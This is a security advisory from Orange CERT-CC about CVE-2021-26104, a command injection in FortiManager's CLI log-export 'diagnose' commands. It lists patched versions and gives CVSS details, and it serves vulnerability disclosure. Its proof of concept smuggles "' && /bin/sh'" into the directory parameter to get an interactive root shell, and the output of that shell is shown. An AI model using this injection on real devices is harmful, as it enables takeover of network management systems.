Fortinet FortiManager - Multiple OS command injection vulnerabilities (CVE-2021-26104)

Moderate **orange-cert-cc** published **GHSA-f73m-fvj3-m2pm** on Nov 16, 2021

Package

FortiManager (Fortinet)

Affected versions	Patched versions
6.2.7	6.2.8

Description

Overview

On FortiManager, some CLI commands are vulnerable to command injection. As the software does not implement countermeasures, this allows an attacker to spawn an interactive shell on the device. The vulnerable commands are only allowed to a **privileged** user (privilege "System Settings").

Impact

Command injection

Detail

On the CLI, some "diagnose" commands allow an administrator to export files (especially umlog and fmwslog) to an external FTP/SFTP.
The administrator provides hostname, user, password and target file name for the transfer. These parameters are not sanitized, and a command injection is possible when these commands are executed with specially crafted parameters.

Futhermore, there is no countermeasures implemented. All the processes are running with root privleges, even the scripts and binaries handling the inputs of a user. As a result, it is trivial to get an interactive shell on the device through this vulnerability.

Proof of Concept

When connected to the CLI as a user with "System Settings", using a FTP transfer of umlog:

```
$ diagnose system export umlog ftp misc 127.0.0.1 user password directory "' && /bin/sh'"
Packing up the log files to /var/config/' && /bin/sh'
Copying files to temp folder...
cp: can't create '/var/config/umlog': Path does not exist
Generating file /var/config/' && /bin/sh'...
tar: Cowardly refusing to create an empty archive
Try 'tar --help' or 'tar --usage' for more information.
Transferring the package by FTP...
local folder: /var/config
local file:
remote folder:
remote file:
/fdsroot/bin/ftp_upload.sh: line 23: cd: /var/config: No such file or directory
/bin/ftp: connect to address 127.0.0.1: Connection refused
/bin/ftp: no response from host
Not connected.
Not connected.
Not connected.
Not connected.
/fdsroot/bin/ftp_upload.sh: line 33: cd: OLDPWD not set
/bin/sh: directory: No such file or directory
Removing temp files...
sh-4.3# id
uid=0(root) gid=0(root) groups=0(root)
sh-4.3# uname -a
Linux OGSB-FMG-Infra 4.4.182 #1 SMP Wed Nov 18 09:58:02 PST 2020 x86_64 GNU/Linux
```

Note: A SFTP transfer would also do the trick. Furthermore, other parameters of the same command might be injectable too (directory, host, ...).

Solution

Security patch

Fortinet fixes this vulnerability for FortiManager, FortiAnalyzer, FortiPortal:

- FortiManager version 6.0.11 or above
- FortiManager version 6.2.8 or above
- FortiManager version 6.4.6 or above
- FortiManager version 7.0.0 or above
- FortiAnalyzer version 6.0.11 or above
- FortiAnalyzer version 6.2.8 or above
- FortiAnalyzer version 6.4.6 or above
- FortiAnalyzer version 7.0.0 or above
- FortiPortal version 5.2.6 or above
- FortiPortal version 5.3.6 or above
- FortiPortal version 6.0.5 or above

Workaround

There are no workarounds that address this vulnerability.

References

https://www.fortiguard.com/psirt/FG-IR-21-037
https://nvd.nist.gov/vuln/detail/CVE-2021-26104

Credits

Orange CERT-CC
Cyrille CHATRAS at Orange group
Loïc RESTOUX at Orange group

Timeline

Date reported: February 22, 2021
Date fixed: August 3, 2021

Severity

Moderate 6.2 / 10

CVSS base metrics

Attack vector	Adjacent
Attack complexity	Low
Privileges required	High
User interaction	Required
Scope	Unchanged
Confidentiality	High
Integrity	High
Availability	Low

CVSS:3.1/AV:A/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:L

CVE ID

CVE-2021-26104

Weaknesses

CWE-78